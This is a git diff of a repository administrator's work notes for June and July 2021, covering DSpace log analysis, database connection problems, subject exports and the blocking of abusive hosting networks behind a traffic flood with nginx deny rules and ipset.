$ for file in dspace.log.2021-06-[12]*; do echo "$file"; grep -oE 'session_id=[A-Z0-9]{32}' "$file" | sort | uniq | wc -l; done
+dspace.log.2021-06-10
+19072
+dspace.log.2021-06-11
+19224
+dspace.log.2021-06-12
+19215
+dspace.log.2021-06-13
+16721
+dspace.log.2021-06-14
+17880
+dspace.log.2021-06-15
+12103
+dspace.log.2021-06-16
+4651
+dspace.log.2021-06-17
+22785
+dspace.log.2021-06-18
+21406
+dspace.log.2021-06-19
+25967
+dspace.log.2021-06-20
+20850
+dspace.log.2021-06-21
+6388
+dspace.log.2021-06-22
+5945
+dspace.log.2021-06-23
+46371
+dspace.log.2021-06-24
+9024
+dspace.log.2021-06-25
+12521
+dspace.log.2021-06-26
+16163
+dspace.log.2021-06-27
+5886
+
    +
  • I see 15,000 unique IPs in the XMLUI logs alone on that day:
    • +
+
# zcat /var/log/nginx/access.log.5.gz /var/log/nginx/access.log.4.gz | grep '23/Jun/2021' | awk '{print $1}' | sort | uniq | wc -l
+15835
+
    +
  • Annoyingly I found 37,000 more hits from Bing using dns:*msnbot* AND dns:*.msn.com. as a Solr filter +
      +
    • WTF, they are using a normal user agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
      • +
    • I will purge the IPs and add this user agent to the nginx config so that we can rate limit it
      • +
    +
    • +
  • I signed up for Bing Webmaster Tools and verified cgspace.cgiar.org with the BingSiteAuth.xml file +
      +
    • Also I adjusted the nginx config to explicitly allow access to robots.txt even when bots are rate limited
      • +
    • Also I found that Bing was auto discovering all our RSS and Atom feeds as “sitemaps” so I deleted 750 of them and submitted the real sitemap
      • +
    • I need to see if I can adjust the nginx config further to map the bot user agent to DNS like msnbot…
      • +
    +
    • +
  • Review Abdullah’s filter on click pull request +
      +
    • I rebased his code on the latest master branch and tested adding filter on click to the map and list components, and it works fine
      • +
    • There seems to be a bug that breaks scrolling on the page though…
      • +
    • Abdullah fixed the bug in the filter on click branch
      • +
    +
    • +
+

2021-06-28

+
    +
  • Some work on OpenRXV +
      +
    • Integrate prettier into the frontend and backend and format everything on the master branch
      • +
    • Re-work the GitHub Actions workflow for frontend and add one for backend
      • +
    • The workflows run npm install to test dependencies, and npm ci with prettier to check formatting
      • +
    • Also I merged Abdallah’s filter on click pull request
      • +
    +
    • +
+

2021-06-30

+
    +
  • CGSpace is showing a blank white page… +
      +
    • The status is HTTP 200, but it’s blank white… so UptimeRobot didn’t send a notification!
      • +
    +
    • +
  • The DSpace log shows:
    • +
+
2021-06-30 08:19:15,874 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • The first one of these I see is from last night at 2021-06-29 at 10:47 PM
    • +
  • I restarted Tomcat 7 and CGSpace came back up…
    • +
  • I didn’t see that Atmire had responded last week (on 2021-06-23) about the issues we had +
      +
    • He said they had to do the same thing that they did last time: switch to the postgres user and kill all activity
      • +
    • He said they found tons of connections to the REST API, like 3-4 per second, and asked if that was normal
      • +
    • I pointed him to our Tomcat server.xml configuration, saying that we purposefully isolated the Tomcat connection pools between the API and XMLUI for this purpose…
      • +
    +
    • +
  • Export a list of all CGSpace’s AGROVOC keywords with counts for Enrico and Elizabeth Arnaud to discuss with AGROVOC:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value AS "dcterms.subject", count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id = 187 GROUP BY "dcterms.subject" ORDER BY count DESC) to /tmp/2021-06-30-agrovoc.csv WITH CSV HEADER;
+COPY 20780
+
    +
  • Actually Enrico wanted NON AGROVOC, so I extracted all the center and CRP subjects (ignoring system office and themes):
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242) GROUP BY subject ORDER BY count DESC) to /tmp/2021-06-30-non-agrovoc.csv WITH CSV HEADER;
+COPY 1710
+
    +
  • Fix an issue in the Ansible infrastructure playbooks for the DSpace role +
      +
    • It was causing the template module to fail when setting up the npm environment
      • +
    • We needed to install acl so that Ansible can use setfacl on the target file before becoming an unprivileged user
      • +
    +
    • +
  • I saw a strange message in the Tomcat 7 journal on DSpace Test (linode26):
    • +
+
Jun 30 16:00:09 linode26 tomcat7[30294]: WARNING: Creation of SecureRandom instance for session ID generation using [SHA1PRNG] took [111,733] milliseconds.
+
    +
  • What’s even crazier is that it is twice that on CGSpace (linode18)!
    • +
  • Apparently OpenJDK defaults to using /dev/random (see /etc/java-8-openjdk/security/java.security):
    • +
+
securerandom.source=file:/dev/urandom
+
    +
  • /dev/random blocks and can take a long time to get entropy, and urandom on modern Linux is a cryptographically secure pseudorandom number generator +
      +
    • Now Tomcat starts much faster and no warning is printed so I’m going to add this to our Ansible infrastructure playbooks
      • +
    +
    • +
  • Interesting resource about the lore behind the /dev/./urandom workaround that is posted all over the Internet, apparently due to a bug in early JVMs: https://bugs.java.com/bugdatabase/view_bug.do?bug_id=6202721
    • +
  • I’m experimenting with using PgBouncer for pooling instead of Tomcat’s JDBC
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-07/index.html b/docs/2021-07/index.html new file mode 100644 index 000000000..dc78a880c --- /dev/null +++ b/docs/2021-07/index.html @@ -0,0 +1,769 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2021

+

+ + in + Notes + + +

+
+

2021-07-01

+
    +
  • Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER;
+COPY 20994
+

2021-07-04

+
    +
  • Update all Docker containers on the AReS server (linode20) and rebuild OpenRXV:
    • +
+
$ cd OpenRXV
+$ docker-compose -f docker/docker-compose.yml down
+$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose -f docker/docker-compose.yml build
+
    +
  • Then run all system updates and reboot the server
    • +
  • After the server came back up I cloned the openrxv-items-final index to openrxv-items-temp and started the plugins +
      +
    • This will hopefully be faster than a full re-harvest…
      • +
    +
    • +
  • I opened a few GitHub issues for OpenRXV bugs: + +
    • +
  • Rebuild DSpace Test (linode26) from a fresh Ubuntu 20.04 image on Linode
    • +
  • The start plugins on AReS had seventy-five errors from the dspace_add_missing_items plugin for some reason so I had to start a fresh indexing
    • +
  • I noticed that the WorldFish data has dozens of incorrect countries so I should talk to Salem about that because they manage it +
      +
    • Also I noticed that we weren’t using the Country formatter in OpenRXV for the WorldFish country field, so some values don’t get mapped properly
      • +
    • I added some value mappings to fix some issues with WorldFish data and added a few more fields to the repository harvesting config and started a fresh re-indexing
      • +
    +
    • +
+

2021-07-05

+
    +
  • The AReS harvesting last night succeeded and I started the plugins
    • +
  • Margarita from CCAFS asked if we can create a new field for AICCRA publications +
      +
    • I asked her to clarify what they want
      • +
    • AICCRA is an initiative so it might be better to create new field for that, for example cg.contributor.initiative
      • +
    +
    • +
+

2021-07-06

+
    +
  • Atmire merged my spider user agent changes from last month so I will update the example list we use in DSpace and remove the new ones from my ilri override file +
      +
    • Also, I concatenated all our user agents into one file and purged all hits:
      • +
    +
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/spiders -p
+Purging 95 hits from Drupal in statistics
+Purging 38 hits from DTS Agent in statistics
+Purging 601 hits from Microsoft Office Existence Discovery in statistics
+Purging 51 hits from Site24x7 in statistics
+Purging 62 hits from Trello in statistics
+Purging 13574 hits from WhatsApp in statistics
+Purging 144 hits from FlipboardProxy in statistics
+Purging 37 hits from LinkWalker in statistics
+Purging 1 hits from [Ll]ink.?[Cc]heck.? in statistics
+Purging 427 hits from WordPress in statistics
+
+Total number of bot hits purged: 15030
+
    +
  • Meet with the CGIAR–AGROVOC task group to discuss how we want to do the workflow for submitting new terms to AGROVOC
    • +
  • I extracted another list of all subjects to check against AGROVOC:
    • +
+
\COPY (SELECT DISTINCT(LOWER(text_value)) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-06-all-subjects.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-07-06-all-subjects.csv | sed 1d > /tmp/2021-07-06-all-subjects.txt
+$ ./ilri/agrovoc-lookup.py -i /tmp/2021-07-06-all-subjects.txt -o /tmp/2021-07-06-agrovoc-results-all-subjects.csv -d
+
    +
  • Test Hrafn Malmquist’s proposed DBCP2 changes for DSpace 6.4 (DS-4574) +
      +
    • His changes reminded me that we can perhaps switch back to using this pooling instead of Tomcat 7’s JDBC pooling via JNDI
      • +
    • Tomcat 8 has DBCP2 built in, but we are stuck on Tomcat 7 for now
      • +
    +
    • +
  • Looking into the database issues we had last month on 2021-06-23 +
      +
    • I think it might have been some kind of attack because the number of XMLUI sessions was through the roof at one point (10,000!) and the number of unique IPs accessing the server that day is much higher than any other day:
      • +
    +
    • +
+
# for num in {10..26}; do echo "2021-06-$num"; zcat /var/log/nginx/access.log.*.gz /var/log/nginx/library-access.log.*.gz | grep "$num/Jun/2021" | awk '{print $1}' | sort | uniq | wc -l; done
+2021-06-10
+10693
+2021-06-11
+10587
+2021-06-12
+7958
+2021-06-13
+7681
+2021-06-14
+12639
+2021-06-15
+15388
+2021-06-16
+12245
+2021-06-17
+11187
+2021-06-18
+9684
+2021-06-19
+7835
+2021-06-20
+7198
+2021-06-21
+10380
+2021-06-22
+10255
+2021-06-23
+15878
+2021-06-24
+9963
+2021-06-25
+9439
+2021-06-26
+7930
+
    +
  • Similarly, the number of connections to the REST API was around the average for the recent weeks before:
    • +
+
# for num in {10..26}; do echo "2021-06-$num"; zcat /var/log/nginx/rest.*.gz | grep "$num/Jun/2021" | awk '{print $1}' | sort | uniq | wc -l; done
+2021-06-10
+1183
+2021-06-11
+1074
+2021-06-12
+911
+2021-06-13
+892
+2021-06-14
+1320
+2021-06-15
+1257
+2021-06-16
+1208
+2021-06-17
+1119
+2021-06-18
+965
+2021-06-19
+985
+2021-06-20
+854
+2021-06-21
+1098
+2021-06-22
+1028
+2021-06-23
+1375
+2021-06-24
+1135
+2021-06-25
+969
+2021-06-26
+904
+
    +
  • According to goaccess, the traffic spike started at 2AM (remember that the first “Pool empty” error in dspace.log was at 4:01AM):
    • +
+
# zcat /var/log/nginx/access.log.1[45].gz /var/log/nginx/library-access.log.1[45].gz | grep -E '23/Jun/2021' | goaccess --log-format=COMBINED -
+
    +
  • Moayad sent a fix for the add missing items plugins issue (#107) +
      +
    • It works MUCH faster because it correctly identifies the missing handles in each repository
      • +
    • Also it adds better debug messages to the api logs
      • +
    +
    • +
+

2021-07-08

+
    +
  • Atmire plans to debug the database connection issues on CGSpace (linode18) today so they asked me to make the REST API inaccessible for today and tomorrow +
      +
    • I adjusted nginx to give an HTTP 403 as well as a an error message to contact me
      • +
    +
    • +
+

2021-07-11

+
    +
  • Start an indexing on AReS
    • +
+

2021-07-17

+
    +
  • I’m in Cyprus mostly offline, but I noticed that CGSpace was down +
      +
    • I checked and there was a blank white page with HTTP 200
      • +
    • There are thousands of locks in PostgreSQL:
      • +
    +
    • +
+
postgres@linode18:~$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2302
+postgres@linode18:~$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2564
+postgres@linode18:~$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2530
+
    +
  • The locks are held by XMLUI, not REST API or OAI:
    • +
+
postgres@linode18:~$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
+     57 dspaceApi
+   2671 dspaceWeb
+
    +
  • I ran all updates on the server (linode18) and restarted it, then DSpace came back up
    • +
  • I sent a message to Atmire, as I never heard from them last week when we blocked access to the REST API for two days for them to investigate the server issues
    • +
  • Clone the openrxv-items-temp index on AReS and re-run all the plugins, but most of the “dspace_add_missing_items” tasks failed so I will just run a full re-harvest
    • +
  • The load on CGSpace is 45.00… the nginx access.log is going so fast I can’t even read it +
      +
    • I see lots of IPs from AS206485 that are changing their user agents (Linux, Windows, macOS…)
      • +
    • This is finegroupservers.com aka “UGB - UGB Hosting OU”
      • +
    • I will get a list of their IP blocks from ipinfo.app and block them in nginx
      • +
    • There is another group of IPs that are owned by an ISP called “TrafficTransitSolution LLC” that does not have its own ASN unfortunately
      • +
    • “TrafficTransitSolution LLC” seems to be affiliated with AS206485 (UGB Hosting OU) anyways, but they sometimes use AS49453 Global Layer B.V.G also
      • +
    • I found a tool that lets you grep a file by CIDR, so I can use that to purge hits from Solr eventually:
      • +
    +
    • +
+
# grepcidr 91.243.191.0/24 /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -n
+     32 91.243.191.124
+     33 91.243.191.129
+     33 91.243.191.200
+     34 91.243.191.115
+     34 91.243.191.154
+     34 91.243.191.234
+     34 91.243.191.56
+     35 91.243.191.187
+     35 91.243.191.91
+     36 91.243.191.58
+     37 91.243.191.209
+     39 91.243.191.119
+     39 91.243.191.144
+     39 91.243.191.55
+     40 91.243.191.112
+     40 91.243.191.182
+     40 91.243.191.57
+     40 91.243.191.98
+     41 91.243.191.106
+     44 91.243.191.79
+     45 91.243.191.151
+     46 91.243.191.103
+     56 91.243.191.172
+
    +
  • I found a few people complaining about these Russian attacks too: + +
    • +
  • According to AbuseIPDB.com and whois data provided by the asn tool, I see these organizations, networks, and ISPs all seem to be related: +
      +
    • Sharktech
      • +
    • LIR LLC / lir.am
      • +
    • TrafficTransitSolution LLC / traffictransitsolution.us
      • +
    • Fine Group Servers Solutions LLC / finegroupservers.com
      • +
    • UGB
      • +
    • Bulgakov Alexey Yurievich
      • +
    • Dmitry Vorozhtsov / fitz-isp.uk / UGB
      • +
    • Auction LLC / dauction.ru / UGB / traffictransitsolution.us
      • +
    • Alax LLC / alaxona.com / finegroupservers.com
      • +
    • Sysoev Aleksey Anatolevich / jobbuzzactiv.com / traffictransitsolution.us
      • +
    • Bulgakov Alexey Yurievich / UGB / blockchainnetworksolutions.co.uk / info@finegroupservers.com
      • +
    • UAB Rakrejus
      • +
    +
    • +
  • I looked in the nginx log and copied a few IP addresses that were suspicious +
      +
    • First I looked them up in AbuseIPDB.com to get the ISP name and website
      • +
    • Then I looked them up with the asn tool, ie:
      • +
    +
    • +
+
$ ./asn -n 45.80.217.235  
+
+╭──────────────────────────────╮
+│ ASN lookup for 45.80.217.235 │
+╰──────────────────────────────╯
+
+ 45.80.217.235 ┌PTR -
+               ├ASN 46844 (ST-BGP, US)
+               ├ORG Sharktech
+               ├NET 45.80.217.0/24 (TrafficTransitSolutionNet)
+               ├ABU info@traffictransitsolution.us
+               ├ROA ✓ VALID (1 ROA found)
+               ├TYP  Proxy host   Hosting/DC 
+               ├GEO Los Angeles, California (US)
+               └REP ✓ NONE
+
    +
  • Slowly slowly I manually built up a list of the IPs, ISP names, and network blocks, for example:
    • +
+
IP, Organization, Website, Network
+45.148.126.246, TrafficTransitSolution LLC, traffictransitsolution.us, 45.148.126.0/24 (Net-traffictransitsolution-15)
+45.138.102.253, TrafficTransitSolution LLC, traffictransitsolution.us, 45.138.102.0/24 (Net-traffictransitsolution-11)
+45.140.205.104, Bulgakov Alexey Yurievich, finegroupservers.com, 45.140.204.0/23 (CHINA_NETWORK)
+185.68.247.63, Fine Group Servers Solutions LLC, finegroupservers.com, 185.68.247.0/24 (Net-finegroupservers-18)
+213.232.123.188, Fine Group Servers Solutions LLC, finegroupservers.com, 213.232.123.0/24 (Net-finegroupservers-12)
+45.80.217.235, TrafficTransitSolution LLC, traffictransitsolution.us, 45.80.217.0/24 (TrafficTransitSolutionNet)
+185.81.144.202, Fine Group Servers Solutions LLC, finegroupservers.com, 185.81.144.0/24 (Net-finegroupservers-19)
+109.106.22.114, TrafficTransitSolution LLC, traffictransitsolution.us, 109.106.22.0/24 (TrafficTransitSolutionNet)
+185.68.247.200, Fine Group Servers Solutions LLC, finegroupservers.com, 185.68.247.0/24 (Net-finegroupservers-18)
+45.80.105.252, Bulgakov Alexey Yurievich, finegroupservers.com, 45.80.104.0/23 (NET-BNSL2-1)
+185.233.187.156, Dmitry Vorozhtsov, mgn-host.ru, 185.233.187.0/24 (GB-FITZISP-20181106)
+185.88.100.75, TrafficTransitSolution LLC, traffictransitsolution.us, 185.88.100.0/24 (Net-traffictransitsolution-17)
+194.104.8.154, TrafficTransitSolution LLC, traffictransitsolution.us, 194.104.8.0/24 (Net-traffictransitsolution-37)
+185.102.112.46, Fine Group Servers Solutions LLC, finegroupservers.com, 185.102.112.0/24 (Net-finegroupservers-13)
+212.193.12.64, Fine Group Servers Solutions LLC, finegroupservers.com, 212.193.12.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+91.243.191.129, Auction LLC, dauction.ru, 91.243.191.0/24 (TR-QN-20180917)
+45.148.232.161, Nikolaeva Ekaterina Sergeevna, blockchainnetworksolutions.co.uk, 45.148.232.0/23 (LONDON_NETWORK)
+147.78.181.191, TrafficTransitSolution LLC, traffictransitsolution.us, 147.78.181.0/24 (Net-traffictransitsolution-58)
+77.83.27.90, Alax LLC, alaxona.com, 77.83.27.0/24 (FINEGROUPSERVERS-LEASE)
+185.250.46.119, Dmitry Vorozhtsov, mgn-host.ru, 185.250.46.0/23 (GB-FITZISP-20181106)
+94.231.219.106, LIR LLC, lir.am, 94.231.219.0/24 (CN-NET-219)
+45.12.65.56, Sysoev Aleksey Anatolevich, jobbuzzactiv.com / traffictransitsolution.us, 45.12.65.0/24 (TrafficTransitSolutionNet)
+45.140.206.31, Bulgakov Alexey Yurievich, blockchainnetworksolutions.co.uk / info@finegroupservers.com, 45.140.206.0/23 (FRANKFURT_NETWORK)
+84.54.57.130, LIR LLC, lir.am / traffictransitsolution.us, 84.54.56.0/23 (CN-FTNET-5456)
+178.20.214.235, Alaxona Internet Inc., alaxona.com / finegroupservers.com, 178.20.214.0/24 (FINEGROUPSERVERS-LEASE)
+37.44.253.204, Atex LLC, atex.ru / blockchainnetworksolutions.co.uk, 37.44.252.0/23 (NL-FTN-44252)
+46.161.61.242, Petersburg Internet Network Ltd., pinspb.ru / abusemail@depo40.ru, 46.161.61.0/24 (FineTransitDE)
+194.87.113.141, Fine Group Servers Solutions LLC, finegroupservers.com, 194.87.113.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+109.94.223.217, LIR LLC, lir.am / traffictransitsolution.us, 109.94.223.0/24 (CN-NET-223)
+94.231.217.115, LIR LLC, lir.am / traffictransitsolution.us, 94.231.217.0/24 (TR-NET-217)
+146.185.202.214, Petersburg Internet Network Ltd., pinspb.ru / abusemail@depo40.ru / abuse@ripe.net, 146.185.202.0/24 (FineTransitRU)
+194.58.68.110, Fine Group Servers Solutions LLC, finegroupservers.com, 194.58.68.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+94.154.131.237, TrafficTransitSolution LLC, traffictransitsolution.us, 94.154.131.0/24 (TrafficTransitSolutionNet)
+193.202.8.245, Fine Group Servers Solutions LLC, finegroupservers.com, 193.202.8.0/21 (FTL5)
+212.192.27.33, Fine Group Servers Solutions LLC, finegroupservers.com, 212.192.27.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+193.202.87.218, Fine Group Servers Solutions LLC, finegroupservers.com, 193.202.84.0/22 (FTEL-2)
+146.185.200.52, Petersburg Internet Network Ltd., pinspb.ru / abusemail@depo40.ru / abuse@ripe.net, 146.185.200.0/24 (FineTransitRU)
+194.104.11.11, TrafficTransitSolution LLC, traffictransitsolution.us, 194.104.11.0/24 (Net-traffictransitsolution-40)
+185.50.250.145, ATOMOHOST LLC, atomohost.com, 185.50.250.0/24 (Silverstar_Invest_Limited)
+37.9.46.68, Petersburg Internet Network Ltd., pinspb.ru / abusemail@depo40.ru / abuse@ripe.net / , 37.9.44.0/22 (QUALITYNETWORK)
+185.81.145.14, Fine Group Servers Solutions LLC, finegroupservers.com, 185.81.145.0/24 (Net-finegroupservers-20)
+5.183.255.72, TrafficTransitSolution LLC, traffictransitsolution.us, 5.183.255.0/24 (Net-traffictransitsolution-32)
+84.54.58.204, LIR LLC, lir.am / traffictransitsolution.us, 84.54.58.0/24 (GB-BTTGROUP-20181119)
+109.236.55.175, Mosnet LLC, mosnetworks.ru / info@traffictransitsolution.us, 109.236.55.0/24 (CN-NET-55)
+5.133.123.184, Mosnet LLC, mosnet.ru / abuse@blockchainnetworksolutions.co.uk, 5.133.123.0/24 (DE-NET5133123)
+5.181.168.90, Fine Group Servers Solutions LLC, finegroupservers.com, 5.181.168.0/24 (Net-finegroupservers-5)
+185.61.217.86, TrafficTransitSolution LLC, traffictransitsolution.us, 185.61.217.0/24 (Net-traffictransitsolution-46)
+217.145.227.84, TrafficTransitSolution LLC, traffictransitsolution.us, 217.145.227.0/24 (Net-traffictransitsolution-64)
+193.56.75.29, Auction LLC, dauction.ru / abuse@blockchainnetworksolutions.co.uk, 193.56.75.0/24 (CN-NET-75)
+45.132.184.212, TrafficTransitSolution LLC, traffictransitsolution.us, 45.132.184.0/24 (Net-traffictransitsolution-5)
+45.10.167.239, TrafficTransitSolution LLC, traffictransitsolution.us, 45.10.167.0/24 (Net-traffictransitsolution-28)
+109.94.222.106, Express Courier LLC, expcourier.ru / info@traffictransitsolution.us, 109.94.222.0/24 (IN-NET-222)
+62.76.232.218, Fine Group Servers Solutions LLC, finegroupservers.com, 62.76.232.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+147.78.183.221, TrafficTransitSolution LLC, traffictransitsolution.us, 147.78.183.0/24 (Net-traffictransitsolution-60)
+94.158.22.202, Auction LLC, dauction.ru / info@traffictransitsolution.us, 94.158.22.0/24 (FR-QN-20180917)
+85.202.194.33, Mosnet LLC, mosnet.ru / info@traffictransitsolution.us, 85.202.194.0/24 (DE-QN-20180917)
+193.187.93.150, Fine Group Servers Solutions LLC, finegroupservers.com, 193.187.92.0/22 (FTL3)
+185.250.45.149, Dmitry Vorozhtsov, mgn-host.ru / abuse@fitz-isp.uk, 185.250.44.0/23 (GB-FITZISP-20181106)
+185.50.251.75, ATOMOHOST LLC, atomohost.com, 185.50.251.0/24 (Silverstar_Invest_Limited)
+5.183.254.117, TrafficTransitSolution LLC, traffictransitsolution.us, 5.183.254.0/24 (Net-traffictransitsolution-31)
+45.132.186.187, TrafficTransitSolution LLC, traffictransitsolution.us, 45.132.186.0/24 (Net-traffictransitsolution-7)
+83.171.252.105, Teleport LLC, teleport.az / abuse@blockchainnetworksolutions.co.uk, 83.171.252.0/23 (DE-FTNET-252)
+45.148.127.37, TrafficTransitSolution LLC, traffictransitsolution.us, 45.148.127.0/24 (Net-traffictransitsolution-16)
+194.87.115.133, Fine Group Servers Solutions LLC, finegroupservers.com, 194.87.115.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+193.233.250.100, OOO Freenet Group, free.net / abuse@vmage.ru, 193.233.250.0/24 (TrafficTransitSolutionNet)
+194.87.116.246, Fine Group Servers Solutions LLC, finegroupservers.com, 194.87.116.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+195.133.25.244, Fine Group Servers Solutions LLC, finegroupservers.com, 195.133.25.0/24 (FINE_GROUP_SERVERS_SOLUTIONS_LLC)
+77.220.194.159, Fine Group Servers Solutions LLC, finegroupservers.com, 77.220.194.0/24 (Net-finegroupservers-3)
+185.89.101.177, ATOMOHOST LLC, atomohost.com, 185.89.100.0/23 (QUALITYNETWORK)
+193.151.191.133, Alax LLC, alaxona.com / info@finegroupservers.com, 193.151.191.0/24 (FINEGROUPSERVERS-LEASE)
+5.181.170.147, Fine Group Servers Solutions LLC, finegroupservers.com, 5.181.170.0/24 (Net-finegroupservers-7)
+193.233.249.167, OOO Freenet Group, free.net / abuse@vmage.ru, 193.233.249.0/24 (TrafficTransitSolutionNet)
+46.161.59.90, Petersburg Internet Network Ltd., pinspb.ru / abusemail@depo40.ru, 46.161.59.0/24 (FineTransitJP)
+213.108.3.74, TrafficTransitSolution LLC, traffictransitsolution.us, 213.108.3.0/24 (Net-traffictransitsolution-24)
+193.233.251.238, OOO Freenet Group, free.net / abuse@vmage.ru, 193.233.251.0/24 (TrafficTransitSolutionNet)
+178.20.215.224, Alaxona Internet Inc., alaxona.com / info@finegroupservers.com, 178.20.215.0/24 (FINEGROUPSERVERS-LEASE)
+45.159.22.199, Server LLC, ixserv.ru / info@finegroupservers.com, 45.159.22.0/24 (FINEGROUPSERVERS-LEASE)
+109.236.53.244, Mosnet LLC, mosnet.ru, info@traffictransitsolution.us, 109.236.53.0/24 (TR-NET-53)
+
    +
  • I found a better way to get the ASNs using my resolve-addresses-geoip2.py script +
      +
    • First, get a list of all IPs making requests to nginx today:
      • +
    +
    • +
+
# grep -v -E "(mahider|Googlebot|Turnitin|Grammarly|Unpaywall|UptimeRobot|bot)" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq  > /tmp/ips-sorted.txt
+# wc -l /tmp/ips-sorted.txt 
+10776 /tmp/ips-sorted.txt
+
    +
  • Then resolve them all:
    • +
+
$ ./ilri/resolve-addresses-geoip2.py -i /tmp/ips-sorted.txt -o /tmp/out.csv
+
    +
  • Then get the top 10 organizations and top ten ASNs:
    • +
+
$ csvcut -c 2 /tmp/out.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
+    213 AMAZON-AES
+    218 ASN-QUADRANET-GLOBAL
+    246 Silverstar Invest Limited
+    347 Ethiopian Telecommunication Corporation
+    475 DEDIPATH-LLC
+    504 AS-COLOCROSSING
+    598 UAB Rakrejus
+    814 UGB Hosting OU
+   1010 ST-BGP
+   1757 Global Layer B.V.
+$ csvcut -c 3 /tmp/out.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
+    213 14618
+    218 8100
+    246 35624
+    347 24757
+    475 35913
+    504 36352
+    598 62282
+    814 206485
+   1010 46844
+   1757 49453
+
    +
  • I will download blocklists for all these except Ethiopian Telecom, Quadranet, and Amazon, though I’m concerned about Global Layer because it’s a huge ASN that seems to have legit hosts too…?
    • +
+
$ wget https://asn.ipinfo.app/api/text/nginx/AS49453
+$ wget https://asn.ipinfo.app/api/text/nginx/AS46844
+$ wget https://asn.ipinfo.app/api/text/nginx/AS206485
+$ wget https://asn.ipinfo.app/api/text/nginx/AS62282
+$ wget https://asn.ipinfo.app/api/text/nginx/AS36352
+$ wget https://asn.ipinfo.app/api/text/nginx/AS35624
+$ cat AS* | sort | uniq > /tmp/abusive-networks.txt
+$ wc -l /tmp/abusive-networks.txt 
+2276 /tmp/abusive-networks.txt
+
    +
  • Combining with my existing rules and filtering uniques:
    • +
+
$ cat roles/dspace/templates/nginx/abusive-networks.conf.j2 /tmp/abusive-networks.txt | grep deny | sort | uniq | wc -l
+2298
+
    +
  • According to Scamalytics all these are high risk ISPs (as recently as 2021-06) so I will just keep blocking them
    • +
  • I deployed the block list on CGSpace (linode18) and the load is down to 1.0 but I see there are still some DDoS IPs getting through… sigh
    • +
  • The next thing I need to do is purge all the IPs from Solr using grepcidr…
    • +
+

2021-07-18

+
    +
  • After blocking all the ASN network blocks yesterday I still see requests getting through from these abusive networks, so the ASN lists must be out of date +
      +
    • I decided to get a lit of all the IPs that made requests on the server in the last two days, resolve them, and then filter out those from these ASNs: 206485, 35624, 36352, 46844, 49453, 62282
      • +
    +
    • +
+
$ sudo zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2 | grep -E " (200|499) " | awk '{print $1}' | sort | uniq > /tmp/all-ips.txt
+$ ./ilri/resolve-addresses-geoip2.py -i /tmp/all-ips.txt -o /tmp/all-ips-out.csv
+$ csvgrep -c asn -r '^(206485|35624|36352|46844|49453|62282)$' /tmp/all-ips-out.csv | csvcut -c ip | sed 1d | sort | uniq > /tmp/all-ips-to-block.txt
+$ wc -l /tmp/all-ips-to-block.txt 
+5095 /tmp/all-ips-to-block.txt
+
    +
  • Then I added them to the normal ipset we are already using with firewalld +
      +
    • I will check again in a few hours and ban more
      • +
    +
    • +
  • I decided to extract the networks from the GeoIP database with resolve-addresses-geoip2.py so I can block them more efficiently than using the 5,000 IPs in an ipset:
    • +
+
$ csvgrep -c asn -r '^(206485|35624|36352|46844|49453|62282)$' /tmp/all-ips-out.csv | csvcut -c network | sed 1d | sort | uniq > /tmp/all-networks-to-block.txt
+$ grep deny roles/dspace/templates/nginx/abusive-networks.conf.j2 | sort | uniq | wc -l
+2354
+
    +
  • Combined with the previous networks this brings about 200 more for a total of 2,354 networks +
      +
